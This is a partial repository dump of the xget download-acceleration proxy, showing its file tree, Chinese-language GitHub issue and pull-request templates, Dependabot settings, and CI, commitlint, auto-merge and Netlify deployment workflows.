Repository: xixu-me/xget Branch: main Commit: 0d9360a003ef Files: 117 Total size: 728.7 KB Directory structure: gitextract_0eq81jzj/ ├── .dockerignore ├── .editorconfig ├── .github/ │ ├── FUNDING.yml │ ├── ISSUE_TEMPLATE/ │ │ ├── bug_report.yml │ │ ├── config.yml │ │ ├── documentation.yml │ │ ├── feature_request.yml │ │ ├── performance_issue.yml │ │ └── platform_request.yml │ ├── dependabot.yml │ ├── pull_request_template.md │ └── workflows/ │ ├── ci.yml │ ├── commitlint.yml │ ├── dependabot-auto-merge.yml │ ├── functions-ntl.yml │ ├── functions-vc.yml │ ├── image.yml │ ├── pages-cf.yml │ ├── pages-eo.yml │ ├── sync.yml │ └── workers.yml ├── .gitignore ├── .prettierignore ├── .prettierrc.json ├── AGENTS.md ├── CLAUDE.md ├── CODE_OF_CONDUCT.md ├── CONTRIBUTING.md ├── Dockerfile ├── LICENSE ├── README.md ├── README.zh-Hans.md ├── README.zh-Hant.md ├── SECURITY.md ├── adapters/ │ ├── functions/ │ │ ├── api/ │ │ │ └── index.js │ │ ├── deno.js │ │ ├── netlify/ │ │ │ └── edge-functions/ │ │ │ └── edge-handler.js │ │ ├── netlify.toml │ │ ├── package.json │ │ └── vercel.json │ └── pages/ │ ├── functions/ │ │ └── [[path]].js │ └── wrangler.toml ├── codecov.yml ├── commitlint.config.mjs ├── config.capnp ├── docs/ │ └── deploy-on-digitalocean.md ├── eslint.config.js ├── package.json ├── scripts/ │ └── fix-badge-colors.js ├── skills/ │ └── xget/ │ ├── SKILL.md │ ├── references/ │ │ └── REFERENCE.md │ └── scripts/ │ └── xget.mjs ├── src/ │ ├── app/ │ │ ├── handle-request.js │ │ └── request-context.js │ ├── config/ │ │ ├── index.js │ │ ├── platform-catalog.js │ │ └── platforms.js │ ├── index.js │ ├── protocols/ │ │ ├── ai.js │ │ ├── docker.js │ │ ├── git.js │ │ └── huggingface.js │ ├── response/ │ │ └── finalize-response.js │ ├── routing/ │ │ ├── platform-index.js │ │ ├── platform-transformers.js │ │ └── resolve-target.js │ ├── types.d.ts │ ├── upstream/ │ │ ├── cache.js │ │ └── fetch-upstream.js │ └── utils/ │ ├── performance.js │ ├── rewrite.js │ ├── security.js │ └── validation.js ├── test/ │ ├── benchmark/ │ │ └── performance.bench.js │ ├── features/ │ │ ├── auth.test.js │ │ ├── git-lfs.test.js │ │ ├── git.test.js │ │ ├── performance.test.js │ │ ├── range-cache.test.js │ │ └── security.test.js │ ├── fixtures/ │ │ └── responses.js │ ├── helpers/ │ │ ├── assertions.js │ │ ├── generators.js │ │ ├── index.js │ │ ├── mocks.js │ │ └── test-utils.js │ ├── index.test.js │ ├── integration.test.js │ ├── platforms/ │ │ ├── container-registry.test.js │ │ ├── cran.test.js │ │ ├── crates.test.js │ │ ├── flathub.test.js │ │ ├── homebrew.test.js │ │ ├── jenkins.test.js │ │ ├── npm-fix.test.js │ │ └── opensuse.test.js │ ├── setup.js │ ├── types.d.ts │ └── unit/ │ ├── app-structure.test.js │ ├── cache-privacy.test.js │ ├── cors-and-proxy-options.test.js │ ├── docker-helpers.test.js │ ├── flathub-rewrite.test.js │ ├── package-manifest.test.js │ ├── pipeline-modules.test.js │ ├── platform-boundaries.test.js │ ├── platforms.test.js │ ├── protocol-helpers.test.js │ ├── protocols.test.js │ ├── runtime-helpers.test.js │ ├── utils.test.js │ ├── worker-regressions.test.js │ └── xget-skill-script.test.js ├── tsconfig.json ├── vitest.config.js ├── vitest.coverage.config.js └── wrangler.toml ================================================ FILE CONTENTS ================================================ ================================================ FILE: .dockerignore ================================================ # Dependencies node_modules/ npm-debug.log # Build outputs dist/ .wrangler/ wrangler-dist/ # Tests test/ coverage/ *.test.js # Documentation *.md docs/ .github/ # Git .git/ .gitignore .gitattributes # IDE .vscode/ .idea/ *.swp *.swo *~ # OS .DS_Store Thumbs.db # CI/CD .github/workflows/ # Config files not needed in build .prettierrc .prettierignore .eslintrc* tsconfig.json vitest.config.js # Misc *.log .env .env.* ================================================ FILE: .editorconfig ================================================ # http://editorconfig.org root = true [*] indent_style = space indent_size = 2 end_of_line = lf charset = utf-8 trim_trailing_whitespace = true insert_final_newline = true [*.yml] indent_style = space ================================================ FILE: .github/FUNDING.yml ================================================ custom: https://xi-xu.me/#sponsorships buy_me_a_coffee: xixu ================================================ FILE: .github/ISSUE_TEMPLATE/bug_report.yml ================================================ name: 🐛 bug 报告 description: 报告一个问题或错误 title: "[Bug]: " labels: ["bug", "需要分类"] assignees: [] body: - type: markdown attributes: value: | 感谢你花时间填写这个 bug 报告!请尽可能详细地描述问题,这将帮助我们更快地定位和修复问题。 - type: checkboxes id: prerequisites attributes: label: 前置检查 description: 在提交 Issue 之前,请确认以下事项 options: - label: 我已经搜索过现有的 Issues,确认这不是重复问题 required: true - label: 我已经查看过文档和 README required: true - label: 我使用的是最新版本的 Xget required: false - type: textarea id: description attributes: label: 问题描述 description: 清晰简洁地描述遇到的问题 placeholder: 描述你遇到了什么问题... validations: required: true - type: textarea id: reproduction attributes: label: 重现步骤 description: 提供重现问题的详细步骤 placeholder: | 1. 访问 '...' 2. 执行命令 '...' 3. 观察到错误 '...' value: | 1. 2. 3. validations: required: true - type: textarea id: expected attributes: label: 期望行为 description: 描述你期望发生什么 placeholder: 应该... validations: required: true - type: textarea id: actual attributes: label: 实际行为 description: 描述实际发生了什么 placeholder: 但实际上... validations: required: true - type: dropdown id: platform attributes: label: 受影响的平台 description: 选择问题相关的平台(可多选) multiple: true options: - GitHub - GitLab - npm - PyPI - Docker Hub - crates.io - Maven Central - Homebrew - Jenkins - OpenAI API - Anthropic API - 其他 AI 推理 API - 不确定/不适用 validations: required: true - type: dropdown id: request_type attributes: label: 请求类型 description: 选择问题相关的请求类型 options: - Git 克隆/拉取 - Git LFS - Docker 镜像拉取 - 包下载 (npm/PyPI/Maven 等) - AI API 推理请求 - 其他 validations: required: true - type: textarea id: environment attributes: label: 环境信息 description: 提供你的环境详细信息 value: | - 操作系统: [例如 Ubuntu 22.04, macOS 14, Windows 11] - 客户端工具: [例如 git 2.40, docker 24.0, npm 10.2] - 浏览器 (如适用): [例如 Chrome 120, Firefox 121] - Xget 部署方式: [Cloudflare Workers / 自托管 / 其他] validations: required: true - type: textarea id: logs attributes: label: 错误日志 description: | 提供相关的错误日志、堆栈跟踪或控制台输出 提示: 你可以在代码块中粘贴日志以保持格式 render: shell placeholder: | 粘贴错误日志... - type: textarea id: curl attributes: label: cURL 命令或请求示例 description: 如果可能,提供能重现问题的 cURL 命令或请求示例(请移除敏感信息) render: shell placeholder: | curl -X GET "https://your-xget-instance/gh/microsoft/vscode" -H "User-Agent: git/2.40" - type: textarea id: additional attributes: label: 附加信息 description: | 提供任何其他有助于理解问题的上下文、截图或信息 提示: 你可以拖拽图片到这里上传 - type: dropdown id: severity attributes: label: 严重程度 description: 这个问题对你的影响有多大? options: - 严重 - 核心功能完全无法使用 - 高 - 重要功能受阻 - 中 - 功能可用但有明显问题 - 低 - 轻微问题或不便 validations: required: true - type: checkboxes id: contribution attributes: label: 贡献意愿 description: 你是否愿意提交 PR 来修复这个问题? options: - label: 我愿意提交 PR 来修复这个问题 ================================================ FILE: .github/ISSUE_TEMPLATE/config.yml ================================================ blank_issues_enabled: false contact_links: - name: 📚 文档 url: https://github.com/xixu-me/Xget/blob/main/README.zh-Hans.md about: 查看存储库的 README 文档 - name: 🔁 URL 转换器 url: https://xuc.xi-xu.me about: 访问配套 web 应用程序 - name: 🔐 安全漏洞报告 url: https://github.com/xixu-me/xget/security/policy#-%E6%8A%A5%E5%91%8A%E5%AE%89%E5%85%A8%E6%BC%8F%E6%B4%9E about: 报告安全漏洞 ================================================ FILE: .github/ISSUE_TEMPLATE/documentation.yml ================================================ name: 📝 文档改进 description: 报告文档问题或建议文档改进 title: "[Docs]: " labels: ["documentation", "需要分类"] assignees: [] body: - type: markdown attributes: value: | 感谢你帮助改进文档!清晰准确的文档对存储库至关重要。 - type: dropdown id: doc_type attributes: label: 文档类型 description: 这涉及哪种类型的文档? options: - README - CLAUDE.md - API 文档 - 部署指南 - 配置说明 - 使用教程 - 开发文档 - 代码注释 - 其他 validations: required: true - type: dropdown id: issue_category attributes: label: 问题类别 description: 选择文档问题的类别 options: - 内容缺失 - 内容过时 - 内容错误 - 不够清晰 - 示例缺失 - 示例错误 - 格式问题 - 翻译问题 - 组织结构问题 - 新内容建议 validations: required: true - type: textarea id: location attributes: label: 文档位置 description: 指出具体的文档位置 placeholder: | - 文件: README.md - 章节: "部署到 Cloudflare Workers" - 行号: 约 L123-L145 - URL: https://github.com/.../blob/main/... validations: required: true - type: textarea id: current_content attributes: label: 当前内容 description: 引用当前的文档内容(如果适用) placeholder: | 当前文档中写的是: > "..." render: markdown - type: textarea id: issue_description attributes: label: 问题描述 description: 详细描述文档存在的问题 placeholder: | 这个文档有以下问题: 1. 2. validations: required: true - type: textarea id: suggested_content attributes: label: 建议的改进 description: 提供具体的改进建议或修正后的内容 placeholder: | 建议改为: "..." 或者添加以下内容: "..." render: markdown validations: required: true - type: textarea id: why_important attributes: label: 重要性说明 description: 解释为什么这个改进很重要 placeholder: | 这个改进很重要因为: - 现在的文档导致用户... - 这是新用户常见的困惑点... - 可以帮助用户更快地... - type: textarea id: user_perspective attributes: label: 用户视角 description: 从哪种用户的角度看这个文档问题? placeholder: | - 新用户首次部署 - 开发者集成 Xget - 贡献者了解代码结构 - 运维人员配置环境 - type: textarea id: examples attributes: label: 示例需求 description: 如果需要添加示例,请描述所需的示例类型 placeholder: | 希望添加以下示例: - Git 克隆的完整命令示例 - Docker 拉取镜像的配置示例 - 环境变量配置的实际案例 - type: checkboxes id: language attributes: label: 语言版本 description: 这个问题涉及哪些语言版本?(可多选) options: - label: 中文文档 - label: 英文文档 - label: 其他语言 - type: checkboxes id: related_areas attributes: label: 相关领域 description: 这个文档改进可能涉及哪些领域?(可多选) options: - label: 快速开始指南 - label: 安装部署 - label: 配置说明 - label: 平台使用 - label: API 参考 - label: 故障排查 - label: 性能优化 - label: 安全配置 - label: 开发贡献 - label: 架构设计 - type: checkboxes id: contribution attributes: label: 贡献意愿 options: - label: 我愿意提交 PR 来改进这个文档 - label: 我可以帮助审阅文档改进 - type: textarea id: additional attributes: label: 附加信息 description: 提供任何其他有助于改进文档的信息或建议 ================================================ FILE: .github/ISSUE_TEMPLATE/feature_request.yml ================================================ name: ✨ 功能请求 description: 建议一个新功能或改进 title: "[Feature]: " labels: ["enhancement", "需要分类"] assignees: [] body: - type: markdown attributes: value: | 感谢你提出新功能建议!请详细描述你的想法,这将帮助我们更好地评估和实现。 - type: checkboxes id: prerequisites attributes: label: 前置检查 description: 在提交功能请求之前,请确认以下事项 options: - label: 我已经搜索过现有的 Issues 和 PR,确认这不是重复请求 required: true - label: 我已经查看过存储库文档 required: true - type: dropdown id: feature_type attributes: label: 功能类型 description: 这个请求属于什么类型? options: - 新协议支持 - 性能优化 - 缓存改进 - 安全增强 - 监控/日志功能 - 配置选项 - API 改进 - 文档改进 - 开发体验改进 - 其他 validations: required: true - type: textarea id: problem attributes: label: 问题背景 description: 描述你想解决的问题或痛点 placeholder: | 我在使用 Xget 时遇到了... 当前的方式是...,但是... validations: required: true - type: textarea id: solution attributes: label: 建议的解决方案 description: 清晰地描述你希望实现的功能 placeholder: 我希望 Xget 能够... validations: required: true - type: textarea id: alternatives attributes: label: 备选方案 description: 描述你考虑过的其他替代解决方案 placeholder: | 我也考虑过... 但这个方案的问题是... - type: textarea id: use_case attributes: label: 使用场景 description: 描述具体的使用场景和预期效果 placeholder: | 场景 1: 当用户...时,这个功能可以... 场景 2: 在...情况下,能够... validations: required: true - type: dropdown id: priority attributes: label: 优先级 description: 这个功能对你有多重要? options: - 高 - 对我的工作流程至关重要 - 中 - 会显著改善使用体验 - 低 - 有更好,但不是必需的 validations: required: true - type: textarea id: platform_specific attributes: label: 特定平台需求 description: 如果这是平台相关的功能请求,请提供详细信息 placeholder: | - 平台名称: - 平台 URL: - API 文档: - 认证方式: - 特殊要求: - type: textarea id: technical_details attributes: label: 技术细节 description: 如果你有技术实现建议,请在此描述 placeholder: | 实现方式可能包括: 1. 在 platforms.js 中添加... 2. 需要处理...协议 3. 可能的挑战是... - type: textarea id: examples attributes: label: 示例和参考 description: 提供相关的示例、链接或参考实现 placeholder: | - 类似实现: - 官方文档: - 示例请求: - type: checkboxes id: impact attributes: label: 影响范围 description: 这个功能可能影响哪些方面?(可多选) options: - label: 核心请求处理逻辑 - label: 平台配置 - label: 协议处理 - label: 缓存策略 - label: 安全性 - label: 性能 - label: 配置选项 - label: 文档 - label: 部署流程 - type: checkboxes id: breaking attributes: label: 破坏性变更 description: 这个功能是否可能引入破坏性变更? options: - label: 可能需要破坏性变更 - label: 向后兼容 - type: checkboxes id: contribution attributes: label: 贡献意愿 description: 你是否愿意参与实现这个功能? options: - label: 我愿意提交 PR 来实现这个功能 - label: 我可以提供测试和反馈 - label: 我可以帮助编写文档 - type: textarea id: additional attributes: label: 附加信息 description: 提供任何其他有助于理解这个功能请求的信息 ================================================ FILE: .github/ISSUE_TEMPLATE/performance_issue.yml ================================================ name: ⚡ 性能问题 description: 报告性能相关的问题或建议性能优化 title: "[Performance]: " labels: ["performance", "需要分类"] assignees: [] body: - type: markdown attributes: value: | 感谢你报告性能问题!请提供详细的性能指标和场景,这将帮助我们诊断和优化。 - type: checkboxes id: prerequisites attributes: label: 前置检查 options: - label: 我已经搜索过现有的性能相关 Issues required: true - label: 我已经确认这不是上游平台本身的性能问题 required: true - type: dropdown id: issue_type attributes: label: 问题类型 description: 选择性能问题的类型 options: - 响应时间过长 - 超时错误 - 高延迟 - 带宽限制 - 缓存未命中 - 内存使用过高 - 并发性能问题 - 其他 validations: required: true - type: dropdown id: affected_platform attributes: label: 受影响的平台 description: 哪个平台的性能出现问题? options: - GitHub - GitLab - npm - PyPI - Docker Hub - crates.io - Maven Central - Homebrew - Jenkins - OpenAI API - Anthropic API - 多个平台 - 所有平台 validations: required: true - type: dropdown id: operation_type attributes: label: 操作类型 description: 什么类型的操作性能有问题? options: - Git 克隆 - Git 拉取 - Git LFS 下载 - Docker 镜像拉取 - 包下载 - AI API 请求 - 元数据获取 - 其他 validations: required: true - type: textarea id: description attributes: label: 问题描述 description: 详细描述性能问题 placeholder: | 在执行...操作时,性能明显低于预期... 相比直接访问上游,速度慢了... validations: required: true - type: textarea id: metrics attributes: label: 性能指标 description: 提供具体的性能数据 placeholder: | - 响应时间: XX ms (预期 < YY ms) - 下载速度: XX KB/s (上游直连: YY KB/s) - 首字节时间 (TTFB): XX ms - 总耗时: XX 秒 - X-Performance-Metrics 头信息: {...} render: markdown validations: required: true - type: textarea id: reproduction attributes: label: 重现步骤 description: 提供详细的重现步骤和测试命令 render: shell placeholder: | # 测试命令 time git clone https://your-xget-instance/gh/user/repo # 或使用 curl 测试 curl -w "@curl-format.txt" -o /dev/null https://your-xget-instance/... validations: required: true - type: textarea id: environment attributes: label: 环境信息 description: 提供详细的环境信息 value: | - Xget 部署方式: [Cloudflare Workers / 自托管 / ...] - Xget 区域: [US/EU/ASIA/...] - 客户端位置: [国家/地区] - 网络环境: [家庭宽带 / 公司网络 / VPS / ...] - ISP: - 客户端工具版本: - 操作系统: validations: required: true - type: textarea id: resource_size attributes: label: 资源规模 description: 描述涉及的资源大小 placeholder: | - 存储库大小: XX MB - 文件数量: XX 个 - 单个文件大小: XX MB - Docker 镜像大小: XX GB - 镜像层数: XX 层 - type: textarea id: comparison attributes: label: 性能对比 description: 对比 Xget 与直接访问上游的性能差异 placeholder: | | 操作 | 通过 Xget | 直接访问上游 | 差异 | |------|-----------|--------------|------| | 克隆 | 30s | 10s | +200% | | 拉取 | 5s | 2s | +150% | render: markdown - type: textarea id: cache_info attributes: label: 缓存信息 description: 检查响应的缓存相关 Header placeholder: | - CF-Cache-Status: - X-Cache-Status: - Age: - Cache-Control: render: markdown - type: textarea id: network_trace attributes: label: 网络追踪 description: 如果可能,提供网络追踪信息(如 curl -v 输出的关键部分) render: shell placeholder: | * Connected to your-xget-instance (...) * TLS handshake... < HTTP/2 200 < x-performance-metrics: {...} - type: dropdown id: frequency attributes: label: 问题频率 description: 这个性能问题多久发生一次? options: - 每次都发生 - 经常发生 (>50%) - 偶尔发生 (10-50%) - 很少发生 (<10%) validations: required: true - type: dropdown id: impact attributes: label: 影响程度 description: 这个性能问题的影响有多大? options: - 严重 - 完全无法使用 - 高 - 严重影响工作效率 - 中 - 造成明显不便 - 低 - 轻微影响 validations: required: true - type: textarea id: expected_performance attributes: label: 期望的性能 description: 描述你期望的性能指标 placeholder: | - 理想响应时间: < 100ms - 可接受的下载速度: > 1MB/s - 目标改进: 减少 50% 的延迟 - type: textarea id: suggestions attributes: label: 优化建议 description: 如果你有优化建议,请在此描述 placeholder: | 可能的优化方向: - 增加缓存时长 - 使用流式传输 - 优化重试策略 - ... - type: textarea id: additional attributes: label: 附加信息 description: 提供任何其他有助于诊断性能问题的信息 ================================================ FILE: .github/ISSUE_TEMPLATE/platform_request.yml ================================================ name: 🌐 新平台支持请求 description: 请求添加对新平台的支持 title: "[Platform]: " labels: ["platform", "enhancement", "需要分类"] assignees: [] body: - type: markdown attributes: value: | 感谢你提出新平台支持请求!请提供尽可能详细的平台信息,以便我们评估和实现。 - type: checkboxes id: prerequisites attributes: label: 前置检查 options: - label: 我已经搜索过现有的 Issues,确认这个平台还未被请求或支持 required: true - label: 这个平台是公开可访问的服务 required: true - type: input id: platform_name attributes: label: 平台名称 description: 请提供平台的官方名称 placeholder: "例如: GitLab, Bitbucket, Quay.io" validations: required: true - type: input id: platform_url attributes: label: 平台 URL description: 平台的主要域名或网址 placeholder: "例如: https://registry.example.com" validations: required: true - type: dropdown id: platform_category attributes: label: 平台类别 description: 这个平台属于什么类别? options: - 代码存储库 (Git) - 容器注册表 (Docker/OCI) - 软件包注册表 (npm/PyPI/Maven 等) - AI 推理提供商 - CDN/文件存储 - 其他 validations: required: true - type: textarea id: platform_description attributes: label: 平台描述 description: 简要描述这个平台的用途和特点 placeholder: 这个平台是一个...,主要用于... validations: required: true - type: textarea id: use_case attributes: label: 使用场景 description: 为什么需要加速这个平台?具体的使用场景是什么? placeholder: | 在中国大陆访问该平台时... 我的团队经常需要从该平台下载... 加速该平台可以帮助... validations: required: true - type: textarea id: api_documentation attributes: label: API 文档 description: 提供平台的 API 文档链接(如果有) placeholder: | - 官方 API 文档: - 认证文档: - 其他相关文档: - type: dropdown id: authentication attributes: label: 认证方式 description: 该平台使用什么认证方式? options: - 无需认证(公开访问) - API Token - OAuth 2.0 - Basic Auth - Bearer Token - 自定义认证 - 不确定 validations: required: true - type: textarea id: auth_details attributes: label: 认证详情 description: 如果需要认证,请提供详细的认证流程说明 placeholder: | 该平台的认证流程: 1. 2. 3. - type: dropdown id: protocol attributes: label: 主要协议 description: 访问该平台主要使用什么协议? options: - HTTP/HTTPS (RESTful API) - Git Protocol - Docker Registry V2 - OCI Distribution Spec - 其他/混合 validations: required: true - type: textarea id: url_structure attributes: label: URL 结构示例 description: 提供该平台的典型 URL 结构和示例 placeholder: | 示例 URL: - 下载包: https://example.com/packages/{name}/{version} - 存储库克隆: https://example.com/repos/{owner}/{repo}.git - API 端点: https://api.example.com/v1/... render: markdown validations: required: true - type: textarea id: special_requirements attributes: label: 特殊要求 description: 该平台是否有特殊的 Header、参数或处理要求? placeholder: | - 必需的 Headers: - 特殊的查询参数: - 响应格式: - URL 重写需求: - 其他特殊处理: - type: textarea id: request_examples attributes: label: 请求示例 description: 提供一些典型的请求示例(请移除敏感信息) render: shell placeholder: | # 示例 1: 获取包信息 curl -X GET "https://example.com/api/packages/foo" # 示例 2: 下载文件 curl -X GET "https://example.com/files/bar.tar.gz" - type: textarea id: response_examples attributes: label: 响应示例 description: 提供典型响应的示例(可以是简化版本) render: json placeholder: | { "name": "example-package", "version": "1.0.0", "download_url": "https://example.com/files/..." } - type: textarea id: challenges attributes: label: 潜在挑战 description: 你认为支持这个平台可能遇到哪些挑战? placeholder: | - 该平台使用自定义的认证方式... - URL 结构比较复杂... - 需要处理特殊的重定向... - type: textarea id: similar_platforms attributes: label: 类似平台 description: 列出 Xget 已支持的类似平台(如果有) placeholder: | 这个平台类似于已支持的: - npm (软件包注册表) - Docker Hub (容器注册表) - type: input id: estimated_users attributes: label: 用户基数 description: 该平台的大致用户规模或你所在团队/社区的使用情况 placeholder: "例如: 国内有约 XX 万开发者使用,我的团队有 20 人使用" - type: dropdown id: priority attributes: label: 优先级 description: 这个平台支持对你有多重要? options: - 高 - 我们团队急需 - 中 - 会显著改善工作流程 - 低 - 有更好,但不紧急 validations: required: true - type: checkboxes id: contribution attributes: label: 贡献意愿 options: - label: 我愿意提供该平台的测试账号(如果需要) - label: 我愿意协助测试平台支持 - label: 我愿意提交 PR 来实现平台支持 - label: 我可以提供更多技术文档和细节 - type: textarea id: additional attributes: label: 附加信息 description: 提供任何其他有助于实现这个平台支持的信息 ================================================ FILE: .github/dependabot.yml ================================================ version: 2 updates: # GitHub Actions dependencies - package-ecosystem: "github-actions" directory: "/" schedule: interval: "weekly" day: "monday" time: "09:00" open-pull-requests-limit: 5 commit-message: prefix: "ci" include: "scope" labels: - "dependencies" - "github-actions" groups: docker-actions: applies-to: version-updates patterns: - "docker/build-push-action" - "docker/login-action" - "docker/metadata-action" - "docker/setup-buildx-action" reviewers: - "xixu-me" assignees: - "xixu-me" # npm dependencies - package-ecosystem: "npm" directory: "/" schedule: interval: "weekly" day: "monday" time: "09:00" open-pull-requests-limit: 5 commit-message: prefix: "deps" include: "scope" labels: - "dependencies" - "npm" groups: cloudflare-dev: applies-to: version-updates patterns: - "@cloudflare/vitest-pool-workers" - "@cloudflare/workers-types" - "wrangler" linting: applies-to: version-updates patterns: - "@eslint/js" - "eslint" - "eslint-*" reviewers: - "xixu-me" assignees: - "xixu-me" versioning-strategy: increase # Docker base images - package-ecosystem: "docker" directory: "/" schedule: interval: "weekly" day: "monday" time: "09:00" open-pull-requests-limit: 5 commit-message: prefix: "deps" include: "scope" labels: - "dependencies" - "docker" reviewers: - "xixu-me" assignees: - "xixu-me" ================================================ FILE: .github/pull_request_template.md ================================================ ## 概述 ## 改动类型 - [ ] 🐛 bug 修复 - [ ] ✨ 新功能 - [ ] 📝 文档更新 - [ ] 🎨 代码风格/格式调整 - [ ] ♻️ 代码重构 - [ ] ⚡️ 性能优化 - [ ] ✅ 测试相关 - [ ] 🔧 配置文件修改 - [ ] 🌐 新增平台支持 - [ ] 🔒 安全相关 ## 相关 Issue Closes # Related to # ## 改动说明 ### 主要改动 - ### 技术细节 - ## 测试 - [ ] 已通过所有现有测试 (`npm run test:run`) - [ ] 已添加新的测试用例 - [ ] 已在本地开发环境测试 (`npm run dev`) - [ ] 已验证代码格式 (`npm run format:check`) - [ ] 已通过类型检查 (`npm run type-check`) - [ ] 已通过 lint 检查 (`npm run lint`) ### 测试环境 - ## 影响范围 - [ ] 核心请求处理逻辑 - [ ] 平台配置 - [ ] 协议处理 (Git/Docker/AI) - [ ] 缓存策略 - [ ] 安全功能 - [ ] 性能监控 - [ ] 文档 - [ ] CI/CD 流程 ## 破坏性变更 - [ ] 是 - [ ] 否
破坏性变更详情
## 部署说明 - ## 截图/演示 ## Checklist - [ ] 代码遵循存储库的编码规范 - [ ] 已进行自我代码审查 - [ ] 代码注释清晰,特别是复杂逻辑部分 - [ ] 已更新相关文档 - [ ] 改动不会产生新的警告 - [ ] 已添加必要的测试,且测试通过 - [ ] 新增和现有的单元测试都通过 - [ ] 依赖的改动已合并并发布 ## 附加说明 ================================================ FILE: .github/workflows/ci.yml ================================================ name: CI on: push: branches: - main paths-ignore: - "**.md" - "LICENSE" - ".gitignore" - ".editorconfig" - ".vscode/**" - "docs/**" - ".prettierrc*" - ".eslintrc*" - ".github/ISSUE_TEMPLATE/**" - ".github/PULL_REQUEST_TEMPLATE/**" pull_request: branches: - main paths-ignore: - "**.md" - "LICENSE" - ".gitignore" - ".editorconfig" - ".vscode/**" - "docs/**" - ".prettierrc*" - ".eslintrc*" - ".github/ISSUE_TEMPLATE/**" - ".github/PULL_REQUEST_TEMPLATE/**" workflow_dispatch: concurrency: group: ${{ github.workflow }}-${{ github.ref }} cancel-in-progress: true permissions: contents: read jobs: lint: name: Lint runs-on: ubuntu-latest timeout-minutes: 10 steps: - name: Checkout uses: actions/checkout@v6 - name: Setup Node.js uses: actions/setup-node@v6 with: node-version: "24" cache: "npm" - name: Install dependencies run: npm ci - name: Run ESLint run: npm run lint - name: Check formatting run: npm run format:check test: name: Test and Coverage runs-on: ubuntu-latest timeout-minutes: 15 steps: - name: Checkout uses: actions/checkout@v6 - name: Setup Node.js uses: actions/setup-node@v6 with: node-version: "24" cache: "npm" - name: Install dependencies run: npm ci - name: Run tests run: npm run test:run env: CI: true - name: Generate coverage report run: npm run test:coverage env: CI: true - name: Normalize coverage paths for Codecov run: | python - <<'PY' from pathlib import Path path = Path("coverage/lcov.info") lines = path.read_text(encoding="utf-8").splitlines() normalized = [] for line in lines: if line.startswith("SF:"): normalized.append("SF:" + line[3:].replace("\\", "/")) else: normalized.append(line) path.write_text("\n".join(normalized) + "\n", encoding="utf-8") PY - name: Show normalized coverage file entries run: grep '^SF:' coverage/lcov.info | head - name: Upload coverage to Codecov uses: codecov/codecov-action@v5 with: files: ./coverage/lcov.info flags: unit name: unit-coverage disable_search: true fail_ci_if_error: true verbose: true env: CODECOV_TOKEN: ${{ secrets.CODECOV_TOKEN }} typecheck: name: Type Check runs-on: ubuntu-latest timeout-minutes: 10 steps: - name: Checkout uses: actions/checkout@v6 - name: Setup Node.js uses: actions/setup-node@v6 with: node-version: "24" cache: "npm" - name: Install dependencies run: npm ci - name: Run type check run: npm run type-check ================================================ FILE: .github/workflows/commitlint.yml ================================================ name: Commit Lint on: push: branches: - main pull_request: branches: - main concurrency: group: ${{ github.workflow }}-${{ github.ref }} cancel-in-progress: true permissions: contents: read jobs: commitlint: name: Validate Commit Messages runs-on: ubuntu-latest if: ${{ github.actor != 'dependabot[bot]' }} timeout-minutes: 10 steps: - name: Checkout uses: actions/checkout@v6 with: fetch-depth: 0 - name: Setup Node.js uses: actions/setup-node@v6 with: node-version: "24" cache: "npm" - name: Install dependencies run: npm ci - name: Lint commit messages shell: bash run: | if [[ "${{ github.event_name }}" == "pull_request" ]]; then FROM="${{ github.event.pull_request.base.sha }}" TO="${{ github.event.pull_request.head.sha }}" else FROM="${{ github.event.before }}" TO="${{ github.sha }}" fi if [[ "$FROM" == "0000000000000000000000000000000000000000" ]]; then npx commitlint --last --verbose else npx commitlint --from "$FROM" --to "$TO" --verbose fi ================================================ FILE: .github/workflows/dependabot-auto-merge.yml ================================================ name: Dependabot Auto Merge on: workflow_run: workflows: - CI - Commit Lint types: - completed concurrency: group: dependabot-auto-merge-${{ github.event.workflow_run.head_branch }} cancel-in-progress: true permissions: contents: write pull-requests: write jobs: merge: name: Auto-merge Dependabot PRs if: ${{ github.event.workflow_run.event == 'pull_request' }} runs-on: ubuntu-latest timeout-minutes: 10 steps: - name: Find matching Dependabot PR id: pr uses: actions/github-script@v8 with: script: | const branch = context.payload.workflow_run.head_branch; const { owner, repo } = context.repo; const { data: pulls } = await github.rest.pulls.list({ owner, repo, state: "open", head: `${owner}:${branch}`, per_page: 10, }); const pr = pulls.find((item) => item.user?.login === "dependabot[bot]"); if (!pr) { core.info(`No open Dependabot PR found for branch ${branch}.`); core.setOutput("should_merge", "false"); return; } core.setOutput("should_merge", "true"); core.setOutput("number", String(pr.number)); - name: Merge PR when checks pass if: steps.pr.outputs.should_merge == 'true' uses: actions/github-script@v8 with: script: | const owner = context.repo.owner; const repo = context.repo.repo; const pull_number = Number("${{ steps.pr.outputs.number }}"); const isSuccessful = (status) => status === "SUCCESS" || status === "SKIPPED" || status === "NEUTRAL"; const { data: pr } = await github.rest.pulls.get({ owner, repo, pull_number, }); if (pr.user?.login !== "dependabot[bot]") { core.info(`PR #${pull_number} is no longer a Dependabot PR.`); return; } if (pr.draft) { core.info(`PR #${pull_number} is still a draft.`); return; } if (pr.mergeable === false) { core.info(`PR #${pull_number} has merge conflicts.`); return; } const { data: checks } = await github.rest.checks.listForRef({ owner, repo, ref: pr.head.sha, }); const requiredChecks = ["Lint", "Test", "Type Check"]; const checkMap = new Map(checks.check_runs.map((run) => [run.name, run])); const missing = requiredChecks.filter((name) => !checkMap.has(name)); if (missing.length > 0) { core.info(`PR #${pull_number} is missing checks: ${missing.join(", ")}.`); return; } const failed = requiredChecks.filter((name) => { const run = checkMap.get(name); return run.status !== "completed" || !isSuccessful(String(run.conclusion).toUpperCase()); }); if (failed.length > 0) { core.info(`PR #${pull_number} still has pending or failing checks: ${failed.join(", ")}.`); return; } await github.rest.pulls.merge({ owner, repo, pull_number, merge_method: "merge", }); await github.rest.git.deleteRef({ owner, repo, ref: `heads/${pr.head.ref}`, }); core.info(`Merged Dependabot PR #${pull_number} and deleted ${pr.head.ref}.`); ================================================ FILE: .github/workflows/functions-ntl.yml ================================================ name: Deploy to Netlify on: workflow_run: workflows: ["Sync to Pages and Functions"] types: - completed branches: - main workflow_dispatch: concurrency: group: ${{ github.workflow }}-${{ github.ref }} cancel-in-progress: false jobs: deploy: runs-on: ubuntu-latest timeout-minutes: 15 permissions: contents: read deployments: write if: ${{ github.event.workflow_run.conclusion == 'success' || github.event_name == 'workflow_dispatch' }} steps: - name: Checkout functions branch uses: actions/checkout@v6 with: ref: functions - name: Setup Node.js uses: actions/setup-node@v6 with: node-version: "24" cache: "npm" - name: Install Netlify CLI run: npm install --global netlify-cli@latest - name: Deploy to Netlify run: netlify deploy --prod --dir=. 